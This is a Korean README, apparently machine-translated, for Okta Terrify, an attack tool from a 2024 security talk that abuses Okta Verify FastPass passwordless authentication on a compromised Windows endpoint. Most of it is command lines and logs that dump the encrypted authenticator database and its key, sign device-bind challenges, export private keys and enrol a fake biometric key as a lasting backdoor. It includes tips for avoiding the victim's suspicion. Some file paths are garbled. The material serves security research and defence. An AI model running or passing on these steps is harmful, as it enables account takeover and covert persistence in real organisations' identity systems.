이 도구는 BSides Cymru 2024 강연인 Okta Terrify: 비밀번호 없는 세상의 지속성(Okta Terrify: Persistence in a Passwordless World)의 일부로 출시되었습니다. 프레젠테이션 데크와 데모 비디오가 이 저장소에 포함되어 있습니다.
Okta Terrify는 인증자 엔드포인트가 손상된 후 Okta verify의 FastPass 또는 기타 FIDO2/WebAuthn 유형 솔루션과 같은 비밀번호 없는 솔루션이 어떻게 남용될 수 있는지 보여주는 도구입니다. Okta Terrify는 Okta 특정 공격을 시연하지만 일반적으로 모두 비대칭 암호화를 활용하므로 다른 비밀번호 없는 솔루션에도 동일한 방법론이 적용됩니다.
비밀번호 없는 인증은 공개/개인 키 쌍을 통해 작동합니다. 일반적으로 인증자 등록 중에 생성되는 키에는 Proof Of Possession
과 User Verification
두 가지 유형이 있습니다. 두 키를 결합하면 조직이 사용자를 보호하기 위한 지속적인 노력의 일환으로 추구하는 인증의 다단계 요소를 충족합니다.
소유 증명 키는 인증 중에 특정 인증자 및/또는 사용자의 존재를 증명하도록 설계되었습니다. Okta의 경우 다중 사용자 시나리오에서는 사용자별로 고유한 소유 증명 키가 생성되므로 소유 증명 키를 사용하여 인증자와 사용자 모두의 존재를 확인합니다. 소유 증명 키는 일반적으로 인증된 Windows 사용자 세션과 같이 운영 체제 자체의 사용을 넘어서는 사용을 잠금 해제하기 위해 어떤 형태의 생체 인식 데이터도 필요하지 않은 자동 키입니다. 사용 가능한 경우 이 키는 TPM으로 지원되므로 장치에서 내보낼 수 없습니다. TPM을 사용할 수 없는 경우 이 키는 소프트웨어 전용 키로 생성됩니다.
사용자 확인 키는 소유에 대한 증거도 제공하지만 사용자가 실제로 인증이 진행되고 있음을 알고 있는지도 추가로 확인합니다. 이는 지문이나 얼굴 인식과 같은 생체 인식 데이터를 통해 이루어지지만 PIN으로도 백업됩니다. Windows 기반 장치에서는 일반적으로 Windows Hello를 사용하여 구현됩니다. 올바른 생체 인식 데이터가 제공되지 않으면 서명 작업이 작동하지 않습니다. 일부 비밀번호 없는 솔루션은 두 가지 요소를 모두 충족하기 위해 사용자 확인 키만 사용합니다. 이 접근 방식의 단점은 모든 서명 작업에 사용자의 생체 인식 데이터가 필요하다는 것입니다. 예를 들어 Okta의 경우, 소유 증명 키는 사용자 비밀번호와 같은 별도의 요소와 함께 인증 시 고유한 요소로 사용될 수 있습니다. 다시 말하지만, 이 키는 사용 가능한 경우 TPM에 의해 지원되거나 그렇지 않은 경우 소프트웨어에서 생성됩니다.
자, 패스워드리스에 대한 배경지식은 이쯤으로 하고 좋은 점을 살펴보겠습니다. 지원되는 모든 Okta 검증 장치에는 동일한 개념이 존재하지만, 여기서부터는 Windows 버전의 Okta 검증이 작동하는 방식에 대해 논의하겠습니다.
Okta는 암호화된 SQLite 데이터베이스 내에 인증자 정보를 저장합니다. 두 가지 서로 다른 데이터베이스 버전이 있습니다. 레거시 버전은 사용자 지정 XOR 알고리즘과 고정 키를 통해 전달된 암호화 키의 기초로 사용자 SID를 사용하는 OVStore.db
라는 파일에 저장됩니다. 최신 버전은 DataStore.db
라고 하며 자격 증명 관리자에 저장된 임의의 값을 사용합니다. 이 자격 증명은 레거시 형식과 유사한 XOR 알고리즘을 통해 전달됩니다. 데이터베이스는 %LocalAppData%OktaOktaVerify
에 저장됩니다. 데이터베이스에는 장치 등록 중에 생성된 소유 증명 및 사용자 확인 키에 대해 생성된 키 ID가 포함되어 있습니다. 데이터베이스에는 등록된 계정에 대한 Okta 테넌트 URL과 함께 장치, 사용자 및 인증자 ID와 같은 기타 유용한 메타데이터도 포함되어 있습니다.
Okta Terrify는 두 개의 서로 다른 구성 요소로 나뉩니다. 옥타 테리파이(Okta Terrify)와 옥타잉크(OktaInk).
Okta Terrify는 공격자의 컴퓨터에서 실행되도록 설계되었습니다. 이 도구에는 사용자 SID와 레거시 데이터베이스 형식의 데이터베이스 파일이 필요하며 최신 형식의 경우 데이터베이스 키가 필요합니다. 최신 형식의 경우 OktaInk를 사용하여 데이터베이스 키를 생성할 수 있습니다. Okta Terrify에는 다양한 스위치를 통해 제어되는 4가지 작동 모드가 있습니다.
--info
모드는 단순히 데이터베이스 내에 포함된 정보를 덤프합니다.
레거시 데이터베이스
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
최신 데이터베이스
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
--backdoor
모드에서 Okta Terrify는 등록 중에 공식 Okta 확인 애플리케이션이 사용하는 OAuth 클라이언트 ID를 사용하여 테넌트 Okta URL을 시작합니다. 이는 일반적으로 인증 흐름을 트리거하며 이 단계에서는 서명 모드가 활성화됩니다. 인증된 세션이 생성되면 공격 기기에 새로운 사용자 인증키가 생성되어 가짜 생체인식 키로 등록됩니다. 키가 등록되면 FastPass는 원래 손상된 인증 장치에 대한 종속성 없이 암호 없는 상태에서 작동합니다.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
--sign
모드에서는 Okta 인증 중에 문제가 유출된 키를 통해 로컬로 서명되거나 하드웨어 지원 키가 있는 경우 손상된 인증자에서 실행되는 OktaInk로 프록시될 수 있습니다.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
--import
모드는 Okta Ink를 사용하여 추출된 소프트웨어 정의 소유 증명 및 사용자 확인 키를 저장합니다.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink는 손상된 인증 장치에서 실행되도록 설계되었습니다. 이 애플리케이션은 4가지 유형의 작업을 지원합니다.
최신 데이터베이스 형식의 경우 --operation DumpDBKey
사용하여 DataStore.db
파일의 데이터베이스 키를 덤프할 수 있습니다. 그런 다음 키를 OkaInk의 매개 변수로 사용할 수 있습니다.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Okta 인증 흐름 중에 존재 증명 또는 사용자 확인 키를 사용할 수 있음을 증명하기 위해 시도 응답 JWT가 생성됩니다. --operation SignDeviceBind
모드를 사용하면 생성된 JWT에 자동 소유 증명 키를 사용하여 서명할 수 있습니다. 비밀번호 없는 인증을 수행하려면 -v
인수를 추가하여 사용자 확인 키로 서명할 수도 있습니다. 경고 - 사용자 확인 키를 요청할 때 피해자 사용자는 생체 인증을 수행해야 하므로 의심이 생길 수 있습니다.
Okta 검증은 자동 키인 장치 증명 키도 등록합니다. 이 키는 Okta 테넌트에 대한 웹 API 호출을 통해 등록된 인증 장치가 변경될 때 사용되는 것으로 보입니다. 그러나 기본적으로 장치 증명은 시행되지 않는 것으로 보이므로 서명이 필요하지 않습니다. 그럼에도 불구하고 이 모드는 --operation SignDeviceAttestation
인수를 통해 활용될 수 있습니다.
TPM을 지원하지 않는 장치의 경우 --operation ExportPrivate
명령줄을 사용하여 장치에 등록된 모든 키를 내보낼 수 있습니다. 소유 증명 키는 사용자 DPAPI 키와 연결되어 있으므로 사용자 비밀번호를 알아야 합니다.
백도어 등록 프로세스 중에 기존 공개 키가 테넌트 인증자 데이터 내에 유지되는지 확인해야 합니다. --operation ExportPublic
특정 키 ID와 연결된 공개 키를 내보내 이를 용이하게 합니다.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....